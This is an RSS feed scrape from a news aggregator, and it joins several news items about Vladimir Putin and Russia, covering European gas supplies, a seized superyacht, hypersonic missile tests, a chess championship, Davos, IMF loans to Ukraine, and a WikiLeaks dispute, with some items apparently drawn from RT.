The EU is staring at an energy crisis this coming winter as Russia supplies about 40% of Europe's natural gas, most of which is transported via pipelines. In 2021, Russia exported about 155 billion cubic meters of the fuel to Europe — more than one-third of which came from the Nord Stream 1 pipeline, according to Reuters.

In early September, Russia state gas giant Gazprom completely turned off supply to Europe via Nord Stream 1. Gazprom and the Kremlin have consistently insisted that the slowing of gas flows was due to technical reasons.

Benchmark European natural-gas future have more than doubled from a year ago.

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]]> https://briefnews.eu/putin-says-russias-not-responsible-for-the-eus-energy-crisis-it-just-needs-to-push-the-button-on-the-nord-stream-2-pipeline-to-get-more-natural-gas/feed/ 0 A superyacht linked to Vladimir Putin was a Christmas present from oligarchs, Russian opposition website claims https://briefnews.eu/a-superyacht-linked-to-vladimir-putin-was-a-christmas-present-from-oligarchs-russian-opposition-website-claims/ https://briefnews.eu/a-superyacht-linked-to-vladimir-putin-was-a-christmas-present-from-oligarchs-russian-opposition-website-claims/#respond Sat, 10 Sep 2022 11:15:44 +0000 https://briefnews.eu/a-superyacht-linked-to-vladimir-putin-was-a-christmas-present-from-oligarchs-russian-opposition-website-claims/ A view shows the multi-million-dollar mega yacht Scheherazade, docked at the Tuscan port of Marina di Carrara, Tuscany, on March 22, 2022.
The Scheherazade has been seized by Italian authorities.

Federico Scoppa/Getty Images

  • Funds for the Scheherazade were a Christmas gift to Putin from Russian oligarchs, per Dossier Center.
  • The $ 700 million superyacht is said to have been used by his lover Alina Kabaeva, per the report.
  • The vessel features two helipads as well as a swimming pool, cinema and beauty salon.

The hundreds of millions needed to build a superyacht linked with Vladimir Putin were given by oligarchs to the Russian president as a Christmas gift in 2014, a Russian opposition website has claimed.

Dossier Center, which "tracks the criminal activity of various people associated with the Kremlin", said a group of Russian business figures led by Gennady Timchenko collected the €583 million needed to construct the 459ft Scheherazade. It was built in a German shipyard and launched in July 2019.

The Dossier Center is connected with Mikhail Khodorkovsky, a key Russian opposition figure and founder of the Open Russia movement.

The superyacht, thought to be worth $ 700 million, was seized by Italian authorities in May after their investigation found significant connections between it and the Russian government. It had been undergoing repairs since June 2020 in the Italian port of Marina di Carrara.

Timchenko and his family were sanctioned by the US government as part of sanctions imposed on Russia by the West following Putin's invasion of Ukraine. 

The Dossier Center report does not fully identify the other oligarchs involved, but it said that one of the offshore companies, High Definition – which donated $ 60 million – can be linked to Ziyavudin Magomedov. He was arrested in Russia in 2018 and charged with racketeering in a corruption scandal and remains in jail.

Other major donors include Alera Assets, which the Center said gave $ 226 million, and Diams Overseas, which contributed $ 289 million. Insider has not been able to verify the figures cited by Dossier Center. 

The Scheherazade is believed to have been used by Alina Kabaeva, said to be Putin's lover, according to a source who spoke to Dossier Centre. Kabaeva was only sanctioned by the US in August.

The vessel's existence was revealed in March after the British captain spoke to The Times newspaper. The crew members were mostly members of the Russian secret service.

The yacht's true ownership has been hard to determine, as Insider has reported. It is controlled by the former president of Rosneft, Eduard Khudainatov, according to Dossier Center.

The "Scheherazade" has six decks and can accommodate 18 guests along with a crew of 40. Its features include a helicopter landing pad, large swimming pool, cinema, and a system to crash drones, according to Superyacht Fan. 

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]]> https://briefnews.eu/a-superyacht-linked-to-vladimir-putin-was-a-christmas-present-from-oligarchs-russian-opposition-website-claims/feed/ 0 US Navy hoping for hypersonic missiles ‘by 2025’ as Putin WATCHES Russia's Avangard glider fly https://briefnews.eu/us-navy-hoping-for-hypersonic-missiles-by-2025-as-putin-watches-russias-avangard-glider-fly/ https://briefnews.eu/us-navy-hoping-for-hypersonic-missiles-by-2025-as-putin-watches-russias-avangard-glider-fly/#respond Mon, 31 Dec 2018 00:33:54 +0000 http://briefnews.eu/us-navy-hoping-for-hypersonic-missiles-by-2025-as-putin-watches-russias-avangard-glider-fly/

Worried at Russia and China’s technological edge, the US aims to have a hypersonic weapon by 2025, the US Navy said in a report. A fortnight later, Vladimir Putin was watching the test launch of Russia’s newest hypersonic missile.

The state-of-the-art Avangard hypersonic glider was successfully tested December 26. It performed in-flight vertical and horizontal maneuvers and hit its intended target, according to the Defense Ministry. The actual speed of the missile, which will enter service in 2019, can reach a whopping 30,000km/h.

The test launch was observed by the Russian President Vladimir Putin, who labelled it “a big event for the armed forces, and probably for the entire country. “

Merely a week before the Avangard test, US Naval Operations Admiral John Richardson released a plan dubbed “A design for maintaining maritime superiority. Version 2.0.” One of the Pentagon’s top priorities for the coming years turned out to be none other than to “develop and field an offensive hypersonic weapon by 2025.”




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Russia’a top-notch Avangard hypersonic glider can travel at whopping 30,000km/h – deputy PM



The Pentagon boldly accused Russia and China of seeking to “accumulate power at America’s expense” by deploying “all elements of their national power to achieve their global ambitions.”




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‘No existing countermeasures’ to Russian hypersonic weapons, US govt. report admits



Admitting to having “no existing countermeasures” against such weapons, the US has long been nurturing plans to boost its own hypersonic strike and deterrence capabilities. In April the Air Force awarded a contract to Lockheed Martin to develop a hypersonic weapon prototype, while, this month, DARPA announced it is seeking“new designs” and materials to make sure prospective hypersonic vehicles do not burn up in the atmosphere.




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Russian hypersonic weapon files leaked to West, intel agents seek mole – report



Another US project, dubbed ‘Glide Breaker,’ to develop an interceptor capable of neutralizing incoming hypersonic gliders, has also reportedly been in the works at the Defense Advanced Research Projects Agency.




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Pentagon designing ‘Glide Breaker’ interceptor to hit enemy hypersonic missiles – media



The trio of Russia, China and the US are considered the nations that have advanced to possess hypersonic technologies and, with the successful test of Avangard, Moscow seems to have claimed the lead in the tightly-packed race.




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Russia surpassed rivals with precise hypersonic weapons & will deploy more within months – Putin



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]]> https://briefnews.eu/us-navy-hoping-for-hypersonic-missiles-by-2025-as-putin-watches-russias-avangard-glider-fly/feed/ 0 'Perfect performance': Russian prodigy Dubov wins World Rapid Chess title, gets praise from Putin https://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/ https://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/#respond Sat, 29 Dec 2018 18:32:20 +0000 http://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/

Russia’s Danill Dubov, 22, has won the World Rapid and Blitz Chess Championships in St. Petersburg, seeing off rivals including world number one Magnus Carlsen to claim the $ 1 million prize and earning praise from Vladimir Putin.

Dubov won the World Rapid championship on Friday, in which players are permitted just 15 minutes each for the entire game, and followed up with a victory in the Blitz to earn praise from the Russian leader.

READ MORE: Russian authorities & WADA ‘settle technical issues over Moscow lab access’ – Sports Ministry

“Please accept my heartfelt congratulations on winning the 2018 World Rapid Championships,” a message from Putin read on the official Kremlin website.

“You delivered a perfect performance at the home tournament, succeeding in pulling yourself together and achieving the desired goal. Your brilliant performance and convincing victory proved to be a wonderful New Year’s gift for your teachers, family and friends, as well as for all Russian chess fans.”

Putin would continue to wish Dubov continued success for the rest of his career.

Dubov bagged 11 points from 15 available in the tournament, with Azerbaijani grandmaster Shakhriyar Mamedyarov in second place. 

READ MORE: ‘Stratospheric’ – Juventus win sets Serie A points tally record

Japanese-American grandmaster Hikaru Nakamura finished in third place, while another Russian entrant, Vladislav Artemyev, came in fourth. 

Carlsen, meanwhile, will be disappointed with his performance in finishing fifth, having entered the competition as heavy favorite due to his status as the sport’s current world champion.




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Carlsen beats Caruana in tiebreakers to defend World Chess Championship title



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]]> https://briefnews.eu/perfect-performance-russian-prodigy-dubov-wins-world-rapid-chess-title-gets-praise-from-putin/feed/ 0 Putin may make rare appearance at World Economic Forum in Davos https://briefnews.eu/putin-may-make-rare-appearance-at-world-economic-forum-in-davos/ https://briefnews.eu/putin-may-make-rare-appearance-at-world-economic-forum-in-davos/#respond Wed, 26 Dec 2018 11:43:04 +0000 http://briefnews.eu/putin-may-make-rare-appearance-at-world-economic-forum-in-davos/

Russian President Vladimir Putin may attend the World Economic Forum (WEF) in Switzerland, the Kremlin has hinted on Wednesday. Putin has not attended the prestigious business and political meeting since 2009.

“There is an old, constantly renewed invitation for Putin to come to Davos,” presidential spokesman Dmitry Peskov told journalists. He added that the final decision has not been made so far but “nothing is excluded” and the visit by the Russian president is being considered.

Last week the White House announced that US President Donald Trump will head to Davos for the second year in a row. It would thus be a rare opportunity for the leaders of Russia and the US to meet for the first time in 2019. Their last planned tete-a-tete talks on the sidelines of the G20 summit in Argentina were canceled by the US side citing the confrontation between Russian and Ukrainian navy in the Kerch Strait. Instead, Putin and Trump had a brief conversation that lasted 10 to 15 minutes.




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How Trump & Putin ignored each other at G20 in PHOTOS



“We really welcome the change of climate in Davos,” the Kremlin spokesman said, referring to the recent WEF decision not to bar sanctioned Russian businessmen from coming to the forum in January.

In November, reports emerged claiming that Viktor Vekselberg, the owner of Renova group, aluminum tycoon Oleg Deripaska, and the head of VTB Bank Andrey Kostin would not be allowed to attend the 2019 Davos meeting due to US sanctions. Back then Moscow lambasted the possible ban and threatened to boycott the forum on the state level.

The WEF change of heart came earlier this month. Its managing director and head of compliance, Alois Zwinggi, said he is pleased to learn that Moscow would be sending “a high-level governmental delegation to Davos.”




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Davos U-turn: World Economic Forum welcomes all Russian businessmen after boycott threat



On Wednesday, the official Russian residence at the WEF – the Davos Russia House – revealed its official program for the 2019 event, which is to run on January 21-25. It is scheduled to begin with the session headlined “Russia – One Step Ahead” to discuss prospects of Russia’s further technological growth. It will also include some new topics, such as the implementation of artificial intelligence in urban spaces. The Davos Russia House will also host sessions headlined “Russia: DNA of the New Entrepreneur,” “The Silver Economy – Realizing the Potential of Economic Growth,” and “Call for Collaboration: Private Sector vs Cybercrime.”

Putin spoke at the WEF opening ceremony when he served as Russia’s prime minister back in 2009 as the world was reeling from the worst financial crisis since the Great Depression. In 2011, then Russian President Dmitry Medvedev addressed the participants of the forum.

For more stories on economy & finance visit RT’s business section

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]]> https://briefnews.eu/putin-may-make-rare-appearance-at-world-economic-forum-in-davos/feed/ 0 Burden of repaying IMF loans will fall on future generations of Ukrainians, warns Putin https://briefnews.eu/burden-of-repaying-imf-loans-will-fall-on-future-generations-of-ukrainians-warns-putin/ https://briefnews.eu/burden-of-repaying-imf-loans-will-fall-on-future-generations-of-ukrainians-warns-putin/#respond Fri, 21 Dec 2018 07:51:22 +0000 http://briefnews.eu/burden-of-repaying-imf-loans-will-fall-on-future-generations-of-ukrainians-warns-putin/ The IMF’s approval of a new $ 3.9 billion loan for Ukraine has already been hailed as a victory in Kiev. It’s just enough to cover some pension payments but will take a long time to pay off, said Russian President Vladimir Putin.

The executive board of International Monetary Fund (IMF) greenlighted a new 14-month loan package, the so-called Stand-By Arrangement (SBA), for an already debt-laden Ukraine on Tuesday.

Ukraine’s Finance Ministry was quick to laud the decision and call it a “victory” as it expects to receive the first installment of $ 1.4 billion by Christmas. Other tranches will come after completion of semi-annual reviews, the IMF said.

Read more


© Sputnik / Alexandr Demyanchuk

While the fund says the loan deal would preserve recent economic gains and pave the way for higher sustainable growth, it might backfire on the Ukrainian people, said Putin during his annual Q&A session on Thursday.

“We realize what the IMF tranche is – it is just to pay pensions and salaries in the social sphere, and then future generations will have to pay,” said Putin, answering RT’s question on citizenship for Ukrainians.

The president added that Moscow does not want to play into the hands of those who want to split the peoples of the two historically-linked nations, a goal that the current government in Kiev made its policy.

The IMF financial package, which replaces the previous four-year financial aid for Ukraine, had been ready in mid-October but the IMF board was waiting for the Ukrainian government to issue the 2019 budget with a deficit of $ 3.2 billion or 2.3 per cent of GDP.

Ukrainian authorities were also to complete a series of economic reforms before the aid was approved by the IMF. These included unpopular measures such as raising gas and heating rates and are considered to be a huge blow to Ukrainian leader Petro Poroshenko’s support in the upcoming elections.

The country’s national debt stands at more than $ 75 billion as of October this year, this includes external debt of $ 47.65 billion.




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Despite figures showing that Ukraine managed to lower foreign debt by nearly $ 1.5 billion, next year may be tough for the country as it has to pay nearly $ 27 billion to foreign creditors, according to a forecast issued by authorities in December.

Earlier, Ukrainian Prime Minister Volodymyr Groysman put the figures even higher, saying that the external debt is more than $ 65 billion, given that the government borrowed more than $ 26 billion between 2007 and 2010, and an additional $ 20 billion in the four following years. He also admitted that the burden of the external debt is one of the biggest problems for the national economy.

“The biggest problem from an economic point of view is the pressure of foreign debts on the state, most of which were accumulated before 2014,” the prime minister said, adding that all this rests on the shoulders of the Ukrainian economy and its people.

For more stories on economy & finance visit RT’s business section

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]]> https://briefnews.eu/burden-of-repaying-imf-loans-will-fall-on-future-generations-of-ukrainians-warns-putin/feed/ 0 WikiLeaks threatens to sue Louise Mensch after posting wild theory about Snowden and Putin https://briefnews.eu/wikileaks-threatens-to-sue-louise-mensch-after-posting-wild-theory-about-snowden-and-putin/ https://briefnews.eu/wikileaks-threatens-to-sue-louise-mensch-after-posting-wild-theory-about-snowden-and-putin/#respond Mon, 17 Dec 2018 17:31:48 +0000 http://briefnews.eu/wikileaks-threatens-to-sue-louise-mensch-after-posting-wild-theory-about-snowden-and-putin/

WikiLeaks has suggested it could sue prolific conspiracy theorist Louise Mensch after she tweeted that NSA whistleblower Edward Snowden had released his secret US military documents “under Putin’s direct orders.”

It all started when the American Civil Liberties Union (ACLU) tweeted a link to an interview it had conducted with Snowden about the concept of blockchains — an interview which seems to have instantly outraged Mensch, who has made a name for herself in recent years as one of Twitter’s most creative Russiagate conspiracy mongers.

Responding to the ACLU’s interview with Snowden, Mensch, a former conservative British MP, did what she does best and made everything about Russia.

Swooping into the ACLU’s Twitter mentions with her usual gusto, Mensch lashed out, claiming that Snowden committed espionage against the United States “on behalf of” Russian President Vladimir Putin.

In an ensuing debate with some Twitter followers, Mensch suggested with delight that Snowden “would be executed” if he ever returned home to the US from Moscow, where he now lives in exile, and reaffirmed her stance that the whistleblower had worked “under Putin’s direct orders.”

That prompted WikiLeaks to get involved, tweeting to Snowden directly asking if he would like them to sue this “serial fabricator.”

The threat didn’t deter Mensch, however, who responded by announcing that she was planning to publish a story on her website claiming WikiLeaks and Snowden have been “Russian assets” since 2011. In fact, she even doubled down, tweeting that the two are “essentially the same entity” and working on behalf of Moscow, a claim which WikiLeaks called “false and defamatory.”

Mensch provided no actual evidence for her theories, but typically, evidence-free rambling has been her standard.

There has been no end to the number of people and things Mensch has labelled as Russian assets and plots in recent years. The list includes US Senator Bernie Sanders, the Black Lives Matter protests in Ferguson and even Hollywood’s #MeToo movement.

READ MORE: #MeToo movement is ‘Kremlin propaganda’ says Russiagate conspiracy theorist Louise Mensch

In one of her strangest theories yet, Mensch claimed that Donald Trump had been stealthily impeached and replaced as president by Utah senator Orrin Hatch in a process hidden from the public.

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]]> https://briefnews.eu/wikileaks-threatens-to-sue-louise-mensch-after-posting-wild-theory-about-snowden-and-putin/feed/ 0 Putin talks to media after G20 summit https://briefnews.eu/putin-talks-to-media-after-g20-summit/ https://briefnews.eu/putin-talks-to-media-after-g20-summit/#respond Sat, 01 Dec 2018 20:34:00 +0000 http://briefnews.eu/putin-talks-to-media-after-g20-summit/

Russia’s President Vladimir Putin has faced reporters during a media conference on the sidelines of the G20 summit in Buenos Aires, Argentina.

The first question was about the communication that Putin had with his American counterpart Donald Trump who cancelled the planned meeting over the tensions between Moscow and Kiev. Putin said that he answered shortly to Trump’s questions about the incident in the Kerch Strait, but noted that he and US President have different positions on the issue.

“Earlier, we talked about the need to restore our legal and economic cooperation, our cooperation in some hotspots like Syria, Afghanistan, North Korea, this is also a big problem for everybody. On all these matters we need a dialogue,” Putin said, expressing hopes that such a “meeting will happen sooner or later, it will happen when the United States will be ready for that.”

Russia’s president has also discussed the Kerch Strait incident with French President Emmanuel Macron and German Chancellor Angela Merkel. 
“We presented step by step how the events unfolded,” Putin said, adding that facts indicate it was a deliberate “provocation.”

“How can you object to that if the log of the ship says clearly that these vessels were to penetrate our territorial waters in a secret way?”

Putin’s counterparts have reacted “calmly” to what he told them, he added.

DETAILS TO FOLLOW

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